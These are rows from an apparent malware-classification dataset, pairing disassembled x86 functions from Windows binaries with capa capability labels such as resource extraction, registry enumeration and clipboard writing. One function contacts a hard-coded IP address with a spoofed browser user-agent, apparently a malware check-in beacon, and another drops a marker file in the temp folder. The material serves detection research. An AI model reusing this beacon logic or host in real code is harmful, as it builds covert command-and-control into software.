joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a3a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x41481a
call fcn.004144c0
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], edi
push 2
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edi
call fcn.00408a56
mov esi, eax
cmp esi, edi
mov dword [ebp - 0x14], esi
jne 0x40a3fc
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jg 0x40a3e7
call esi
mov esi, eax
jmp 0x40a515
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x40a515
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
cmp ebx, edi
je 0x40a41d
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, edi
jne 0x40a445
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jg 0x40a430
call esi
jmp 0x40a50a
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x40a50c
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
cmp byte [ebx + esi], 0
mov edi, esi
je 0x40a4b3
lea edi, [ebx + 1]
cmp edi, 0x400
ja 0x40a480
push edi
call fcn.00406eca
test al, al
je 0x40a480
mov eax, edi
add eax, 3
and eax, 0xfffffffc
call fcn.00414550
mov dword [ebp + 8], esp
jmp 0x40a48c
push edi
lea ecx, [ebp - 0x10]
call fcn.004089a3
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40a49a
mov esi, 0x8007000e
jmp 0x40a50c
mov ecx, edi
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 8]
mov byte [eax + ebx], 0
test edi, edi
jne 0x40a4bb
xor eax, eax
jmp 0x40a4fe
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea ebx, [esi + esi]
cmp ebx, 0x400
ja 0x40a4eb
push ebx
call fcn.00406eca
test al, al
je 0x40a4eb
mov eax, ebx
add eax, 3
and eax, 0xfffffffc
call fcn.00414550
mov eax, esp
jmp 0x40a4f4
push ebx
lea ecx, [ebp - 0x10]
call fcn.004089a3
push 0
push esi
push edi
push eax
call fcn.00406f25
push dword [ebp + 0x14]
lea ecx, [ebp - 0x1c]
push eax
call fcn.00409704
mov esi, eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x10]
call fcn.00407aff
mov eax, esi
lea esp, [ebp - 0x28]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40ebd4
Capabilities:
Delete file

Disassembly:
mov eax, 0x414a1b
call fcn.004144c0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov eax, dword [esi + 0x4c]
test eax, eax
mov dword [ebp - 4], 2
je 0x40e89a
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 0x74]
test eax, eax
je 0x40e8a8
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
lea eax, [esi + 0x8c]
cmp dword [eax], 0
je 0x40e8bb
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x50]
test eax, eax
je 0x40e8d4
push dword [eax + 0x20]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
push dword [esi + 0x50]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
mov eax, dword [esi + 0x70]
test eax, eax
je 0x40e8e2
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [esi + 0x78]
test eax, eax
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
je 0x40e8f2
push eax
call ebx
mov eax, dword [esi + 0x7c]
test eax, eax
je 0x40e8fc
push eax
call ebx
mov eax, dword [esi + 0x80]
test eax, eax
je 0x40e909
push eax
call ebx
mov eax, dword [esi + 0x84]
test eax, eax
je 0x40e916
push eax
call ebx
lea edi, [esi + 0x88]
mov eax, dword [edi]
test eax, eax
je 0x40e92d
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [edi]
call ebx
mov ecx, esi
call fcn.0040df11
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 1
call fcn.0040dd79
lea ecx, [esi + 0x54]
call fcn.0040afeb
lea ecx, [esi + 0x24]
call fcn.00406f5c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
push esi
mov esi, ecx
push 0x418914
mov dword [esi], 0x40242c
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ecx, esi
pop esi
jmp 0x40e872

Function at 0x40fa68
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40fa94
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40fa94
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x40fa96
xor eax, eax
ret 8
Function at 0x413216
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ebp + 0x14]
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
mov eax, dword [esi]
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
push edi
lea ebx, [ecx + eax + 0x18]
jbe 0x4132f8
add ebx, 0x10
mov eax, dword [ebx]
test eax, eax
jne 0x413293
mov eax, dword [ebp + 0x10]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x4132e3
push dword [esi + 0x34]
mov eax, dword [ebx - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push edi
push eax
call dword [esi + 0x1c]
test eax, eax
je 0x413302
mov edx, dword [ebx - 4]
add edx, dword [ebp - 4]
mov ecx, edi
mov dword [ebx - 8], edx
mov edi, edx
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4132e3
mov ecx, dword [ebx + 4]
add ecx, eax
mov eax, dword [ebp + 0xc]
push ecx
call fcn.004131fe
test eax, eax
je 0x413302
push dword [esi + 0x34]
mov eax, dword [ebx - 4]
add eax, dword [ebp - 4]
push 4
push 0x1000
push dword [ebx]
push eax
call dword [esi + 0x1c]
test eax, eax
je 0x413302
mov eax, dword [ebx - 4]
mov ecx, dword [ebx]
add eax, dword [ebp - 4]
mov esi, dword [ebx + 4]
add esi, dword [ebp + 8]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov dword [ebx - 8], eax
mov eax, dword [esi]
movzx eax, word [eax + 6]
inc dword [ebp - 8]
add ebx, 0x28
cmp dword [ebp - 8], eax
jl 0x413243
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
xor eax, eax
jmp 0x4132fb
Function at 0x414168
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x418898]
jne 0x414171
ret
jmp 0x414176
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x418898]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x418a30]
test eax, eax
je 0x41419a
call eax
cmp dword [0x418a34], 0
je 0x4141e1
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x418a34]
pop edi
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.00414168
add ebp, 0x2a8
leave
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_ONLNCHKA
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_faef3fdddd.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x418e40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f2feb
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x526b24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ecx + 4], 0xffffffff
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ecx + 0x24], 0
mov dword [ecx + 0x28], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x34], 0
mov dword [ecx + 0x38], 0
mov eax, ecx
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x40], 0
mov dword [ecx + 0x48], vtable.CKuStringT_char__class_CKuStringUtilA_.0
mov dword [ecx + 0x4c], 0
mov byte [ecx + 0x50], 0
mov dword [ecx + 0x54], 0x400
mov dword [ecx + 0x58], 0x14
mov dword [ecx + 0x5c], 2
mov byte [ecx + 0x60], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x418f10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f301d
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x526b24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 1
mov dword [esi], vtable.Object.0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0x52763c
mov byte [esi + 0x28], 0
mov dword [esi + 8], 0
mov dword [esi + 0x20], 3
mov eax, dword [ebp + 8]
mov dword [esi + 0x30], eax
mov eax, dword [0x62271c]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov byte [esi + 0x3c], 0
mov ecx, dword fs:[0x2c]
lea edi, [eax*4]
mov dword [ebp - 4], 0
mov eax, dword [edi + ecx]
cmp byte [eax + 0x2198], 0
jne 0x418fb1
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [edi + ecx]
mov edi, dword [eax + 0x20e8]
test edi, edi
je 0x418fc4
mov eax, dword [edi]
push edi
call dword [eax + 4]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x418fd1
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, esi
mov dword [esi + 0xc], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x41b550
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x204]
sub esp, 0x204
push 0xffffffffffffffff
push 0x4f32d0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x526b24]
xor eax, ebp
mov dword [ebp + 0x200], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x28], eax
mov ebx, dword [eax + 4]
mov ecx, dword [ebp + 0x20c]
or ebx, 0x2001f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push edx
push ebx
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [ebp - 0x18]
test esi, esi
jne 0x41b689
xor esi, esi
test eax, eax
je 0x41b5ea
push eax
call edi
mov esi, eax
mov eax, dword [ebp - 0x20]
and ebx, 0x300
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ebx
test esi, esi
jne 0x41b689
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x30]
push ecx
push esi
push esi
push esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x100
push ecx
lea ecx, [ebp]
push ecx
push esi
push eax
call ebx
test eax, eax
jne 0x41b657
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x18]
call fcn.0041b550
mov esi, eax
test esi, esi
jne 0x41b686
lea eax, [ebp - 0x30]
mov dword [ebp - 0x1c], 0x100
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp]
push eax
push esi
push dword [ebp - 0x18]
call ebx
test eax, eax
je 0x41b625
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41b668
push eax
call edi
mov dword [ebp - 0x18], 0
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], 0
call fcn.0041a860
mov ecx, dword [ebp - 0x18]
mov esi, eax
test ecx, ecx
je 0x41b690
push ecx
jmp 0x41b68e
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41b690
push eax
call edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x200]
xor ecx, ebp
call fcn.004ebadf
lea esp, [ebp + 0x204]
pop ebp
ret 4
Function at 0x41b890
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x408]
sub esp, 0x408
push 0xffffffffffffffff
push 0x4f3315
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x526b24]
xor eax, ebp
mov dword [ebp + 0x404], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x414]
mov edi, dword [ebp + 0x410]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x418]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], 0
mov dword [ebp], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push edi
mov byte [ebp - 4], 1
call ebx
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
jne 0x41b938
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x1c], eax
test esi, esi
jne 0x41b938
call fcn.00419fe0
mov edi, eax
jmp 0x41ba2d
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x41b955
call fcn.00419fe0
jmp 0x41ba20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x18], ebx
test ebx, ebx
jne 0x41b970
call fcn.00419fe0
jmp 0x41ba20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x14], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x41b98e
mov edi, 0x8007000e
jmp 0x41ba22
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
ja 0x41ba64
jb 0x41b9ac
cmp eax, 0xffffffff
ja 0x41ba64
cmp eax, 0x400
jbe 0x41b9be
push eax
lea ecx, [ebp]
call fcn.00419c90
jmp 0x41b9d5
lea eax, [ebp + 4]
mov dword [ebp], eax
jmp 0x41b9d5
cmp dword [ebp], 0
mov dword [ebp - 4], 1
jne 0x41b9e9
mov edi, 0x8007000e
jmp 0x41ba22
push edi
push dword [ebp]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x41ba06
call fcn.00419fe0
jmp 0x41ba20
mov eax, dword [ebp]
xor edx, edx
push dword [ebp + 0x41c]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x24]
push dword [ebp]
call fcn.0041b700
mov edi, eax
test esi, esi
je 0x41ba2d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp + 4]
cmp dword [ebp], eax
je 0x41ba3d
lea ecx, [ebp]
call fcn.0041a990
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x404]
xor ecx, ebp
call fcn.004ebadf
lea esp, [ebp + 0x408]
pop ebp
ret 0x10
push 0x80070216
call fcn.0041a720
int3
Function at 0x41c530
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f33a0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x526b24]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov ebx, dword [0x523008]
mov esi, 1
mov ecx, dword [0x52300c]
cmp ebx, ecx
jae 0x41c5d7
test esi, esi
js 0x41c5d4
mov edi, dword [ebx]
test edi, edi
je 0x41c5cd
mov eax, dword [edi + 8]
mov dword [ebp - 0x10], 0
test eax, eax
jne 0x41c58e
xor esi, esi
jmp 0x41c5cd
lea ecx, [ebp - 0x10]
push ecx
push 0x4f5cc4
push dword [edi + 0xc]
call eax
mov esi, eax
test esi, esi
js 0x41c5ba
mov eax, dword [edi + 0x10]
add eax, 4
push eax
push 5
push 4
push dword [ebp - 0x10]
push dword [edi]
call dword [sym.imp.ole32.dll_CoRegisterClassObject]
mov esi, eax
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x41c5c7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [0x52300c]
add ebx, 4
cmp ebx, ecx
jb 0x41c572
mov edi, dword [ebp - 0x14]
test esi, esi
js 0x41c6de
jne 0x41c676
cmp byte [edi + 0x3c], 0
je 0x41c661
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x30], eax
test eax, eax
je 0x41c628
lea eax, [ebp - 0x14]
push eax
push 0
push edi
push 0x41ab20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
jne 0x41c636
push dword [edi + 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x30], ebx
mov ecx, edi
mov esi, 0x80004005
call fcn.0041c4e0
jmp 0x41c67a
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov esi, eax
test esi, esi
jns 0x41c658
push dword [edi + 0x30]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [edi + 0x34]
add eax, eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41c669
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov esi, eax
test esi, esi
jns 0x41c67c
mov ecx, edi
call fcn.0041c4e0
jmp 0x41c67a
mov byte [edi + 0x3c], 0
test esi, esi
jne 0x41c6c2
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x30]
push 0
push 0
push 0
push eax
call esi
test eax, eax
jle 0x41c6c6
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
nop word [eax + eax]
lea eax, [ebp - 0x30]
push eax
call ebx
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
jg 0x41c6a0
jmp 0x41c6c6
test esi, esi
js 0x41c6de
mov ecx, edi
call fcn.0041c4e0
cmp byte [edi + 0x3c], 0
mov esi, eax
je 0x41c6de
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41fc00
Capabilities:
Write clipboard data

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x18], 0
jne 0x41fc22
call fcn.00420100
test eax, eax
jne 0x41fc22
push str.Cant_open_clipboard_for_writing.
mov ecx, esi
call fcn.0041fab0
pop esi
ret 4
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
test eax, eax
jne 0x41fcd1
cmp dword [esi + 0x18], eax
je 0x41fc5f
cmp dword [esi + 8], eax
je 0x41fc4c
push dword [esi]
call edi
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
cmp dword [esi + 0xc], 0
je 0x41fc78
push dword [esi + 4]
call edi
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x41fc89
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [esi + 4], eax
mov eax, dword [0x62271c]
mov ecx, dword fs:[0x2c]
lea esi, [eax*4]
mov eax, dword [esi + ecx]
cmp byte [eax + 0x2198], 0
jne 0x41fcb4
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [esi + ecx]
push 0x4f5b70
push 0x4f697c
mov ecx, dword [eax + 0x298]
call fcn.0046cf30
pop edi
pop esi
ret 4
mov eax, dword [esi + 4]
test eax, eax
je 0x41fd17
mov ecx, dword [esi + 0xc]
push ebx
xor bl, bl
test ecx, ecx
je 0x41fd08
cmp dword [esp + 0x10], 0xd
jne 0x41fcef
cmp word [ecx], 0
jmp 0x41fcf1
cmp byte [ecx], bl
push eax
sete bl
call edi
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
test bl, bl
pop ebx
push eax
je 0x41fd4b
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [esi + 4], eax
cmp dword [esi + 0x18], 0
je 0x41fd41
cmp dword [esi + 8], 0
je 0x41fd2e
push dword [esi]
call edi
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
pop edi
mov eax, 1
pop esi
ret 4
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x41fd62
mov dword [esi + 4], 0
jmp 0x41fd17
cmp dword [esi + 0x18], 0
je 0x41fd8c
cmp dword [esi + 8], 0
je 0x41fd79
push dword [esi]
call edi
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
cmp dword [esi + 0xc], 0
je 0x41fda5
push dword [esi + 4]
call edi
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x41fdb6
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [esi + 4], eax
mov eax, dword [0x62271c]
mov ecx, dword fs:[0x2c]
lea esi, [eax*4]
mov eax, dword [esi + ecx]
cmp byte [eax + 0x2198], 0
jne 0x41fde1
call fcn.004ebad3
mov ecx, dword fs:[0x2c]
mov eax, dword [esi + ecx]
push 0x4f5b70
push 0x4f699c
mov ecx, dword [eax + 0x298]
call fcn.0046cf30
pop edi
pop esi
ret 4